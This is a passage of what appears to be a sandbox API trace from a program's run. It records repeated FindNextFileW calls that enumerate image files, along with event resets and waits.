ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0183.920] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0183.920] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0183.920] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0183.920] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0183.920] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0183.920] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0183.920] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0183.921] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1 [0183.921] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1 [0183.921] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1 [0183.921] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1 [0183.921] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1 [0183.921] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1 [0183.921] ResetEvent (hEvent=0x174) returned 1 [0183.922] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.933] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1 [0183.933] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1 [0183.933] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xfcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099166.JPG", cAlternateFileName="")) returned 1 [0183.933] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0183.933] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0183.933] ResetEvent (hEvent=0x174) returned 1 [0183.934] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.936] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0183.936] ResetEvent (hEvent=0x174) returned 1 [0183.936] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.939] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0183.939] ResetEvent (hEvent=0x174) returned 1 [0183.939] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.945] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0183.945] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0183.946] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0183.946] ResetEvent (hEvent=0x174) returned 1 [0183.946] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.953] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0183.953] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0183.953] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0183.953] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0183.953] ResetEvent (hEvent=0x174) returned 1 [0183.953] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.955] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0183.955] ResetEvent (hEvent=0x174) returned 1 [0183.956] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.957] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0183.957] ResetEvent (hEvent=0x174) returned 1 [0183.957] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.962] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0183.962] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0183.962] ResetEvent (hEvent=0x174) returned 1 [0183.962] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.968] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0183.968] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0183.969] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0183.969] ResetEvent (hEvent=0x174) returned 1 [0183.969] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.970] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0183.971] ResetEvent (hEvent=0x174) returned 1 [0183.971] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.178] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0184.179] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1 [0184.179] ResetEvent (hEvent=0x174) returned 1 [0184.179] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.186] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0184.186] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0184.186] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0184.186] ResetEvent (hEvent=0x174) returned 1 [0184.186] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.189] ResetEvent (hEvent=0x174) returned 1 [0184.189] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.193] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0184.193] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0184.193] ResetEvent (hEvent=0x174) returned 1 [0184.193] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.197] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0184.197] ResetEvent (hEvent=0x174) returned 1 [0184.197] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.207] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: 